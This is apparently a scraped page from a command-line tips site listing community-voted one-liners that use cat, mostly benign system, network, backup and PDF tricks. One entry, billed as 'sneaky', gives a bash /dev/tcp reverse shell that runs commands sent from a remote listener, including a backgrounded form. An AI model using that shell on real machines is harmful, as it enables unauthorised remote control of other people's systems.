Commands using cat (514)
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Works on nearly all linux distros
10cat /etc/*release -
10cat my.ps | nc -q 1 hp4550.mynet.xx 9100
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10cat /sys/class/net/eth0/address
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poorman's ifstat using just sh and awk. You must change "eth0" with your interface's name. Show Sample Output
10while true; do cat /proc/net/dev; sleep 1; done | awk -v dc="date \"+%T\"" '/eth0/{i = $2 - oi; o = $10 - oo; oi = $2; oo = $10; dc|getline d; close(dc); if (a++) printf "%s %8.2f KiB/s in %8.2f KiB/s out\n", d, i/1024, o/1024}' -
You can use multiple field separators by separating them with | (=or). This may be helpful when you want to split a string by two separators for example. #echo "one=two three" | awk -F "=| " {'print $1, $3'} one three
9awk -F "=| " -
backup big mysql db to remote machine over ssh. "--skip-opt" option is needed when you can?t allocate full database in ram.
9mysqldump -q --skip-opt --force --log-error=dbname_error.log -uroot -pmysqlpassword dbname | ssh -C user@sshserver 'cd /path/to/backup/dir; cat > dbname.sql' -
Best result when file size less than half of RAM size
9cat <file> > /dev/null -
9cat /dev/urandom | tr -dc A-Za-z0-9 | head -c 32
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This is sneaky. First, start a listening service on your box.
nc -l 8080 -vvv &On the target you will create a new descriptor which is assigned to a network node. Then you will read and write to that descriptor.exec 5<>/dev/tcp/<your_box>/8080;cat <&5 | while read line; do $line 2>&5 >&5; doneYou can send it to the background like this:(exec 5<>/dev/tcp/<your-box>/8080;cat <&5 | while read line; do $line 2>&5 >&5;) &Now everything you type in our local listening server will get executed on the target and the output of the commands will be piped back to the client. Show Sample Output9exec 5<>/dev/tcp/<your-box>/8080;cat <&5 | while read line; do $line 2>&5 >&5; done -
Source: http://superuser.com/a/624574
9cat *.jpg | ffmpeg -f image2pipe -r 1 -vcodec mjpeg -i - -vcodec libx264 out.mp4 -
8gunzip -c /var/log/auth.log.*.gz | cat - /var/log/auth.log /var/log/auth.log.0 | grep "Invalid user" | awk '{print $8;}' | sort | uniq -c | less
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Searches the /var/log/secure log file for Failed and/or invalid user log in attempts. Show Sample Output
8cat /var/log/secure | grep sshd | grep Failed | sed 's/invalid//' | sed 's/user//' | awk '{print $11}' | sort | uniq -c | sort -n -
require the pdftk package
8pdftk 1.pdf 2.pdf 3.pdf cat output 123.pdf -
The format is JJJJJ YR-MO-DA HH:MM:SS TT L DUT1 msADV UTC(NIST) OTM and is explained more fully here: http://tf.nist.gov/service/acts.htm Show Sample Output
8cat </dev/tcp/time.nist.gov/13 -
It's works only when you replace '\n' to ONE character.
8cat file | tr "\n" " " -
This command is much quicker than the alternative of "sort | uniq -c | sort -n". Show Sample Output
7cat $(ls -tr | tail -1) | awk '{ a[$1] += 1; } END { for(i in a) printf("%d, %s\n", a[i], i ); }' | sort -n | tail -25 -
Uses the data in the /proc system, provided by the acpid, to find out the CPU temperature. Can be run on systems without lm-sensors installed as well. Show Sample Output
7echo `date +%m/%d/%y%X |awk '{print $1;}' `" => "` cat /proc/acpi/thermal_zone/THRM/temperature | awk '{print $2, $3;}'` >> datetmp.log -
The command shows the real power of the pdftk tool, you can do basically everything you want with multiple pdf's. In the command a book is created from chapters, headings and covers.
7pdftk A=chapters.pdf B=headings.pdf C=covers.pdf cat C1 B1 A1-7 B2 A8-10 C2 output book.pdf -
1. Issue command 2. After angled bracket appears, enter file contents 3. When done, type "EOF"
7cat > <file_name> << "EOF" -
7cat VTS_05_1.VOB VTS_05_2.VOB VTS_05_3.VOB VTS_05_4.VOB > mergedmovie.mpg
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7cls(){ printf "\033c";} or, if no printf, cat > c ;<ctrl+v> <ctrl+[>c <enter><ctrl-d> c(){ cat c;} #usage: c
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Sometimes you don't want to leave history, because of passwords use or somethink like. I think it help.
7cat | bash -
* to get the English dictionary: wget http://www.mavi1.org/web_security/wordlists/webster-dictionary.txt Show Sample Output
7head -100000 /dev/urandom | strings > temp.txt && for w in $(cat webster-dictionary.txt); do if [ ${#w} -gt 3 ]; then grep -io $w temp.txt; fi; done -
Securely stream a file from a remote server (and save it locally). Useful if you're impatient and want to watch a movie immediately and download it at the same time without using extra bandwidth. This is an extension of snipertyler's idea. Note: This command uses an encrypted connection, unlike the original. Show Sample Output
7ssh USER@HOST cat REMOTE_FILE.mp4 | tee LOCAL_FILE.mp4 | mplayer - -
Sends the microphone input from PC1 to the speakers of PC2. Do the same in reverse to have an actual conversation ;) ... maybe with another port tough
6On PC1: nc -l -p 6666 > /dev/dsp On PC2: cat /dev/dsp | nc <PC1's IP> 6666 - < 1 2 3 4 > Last ›
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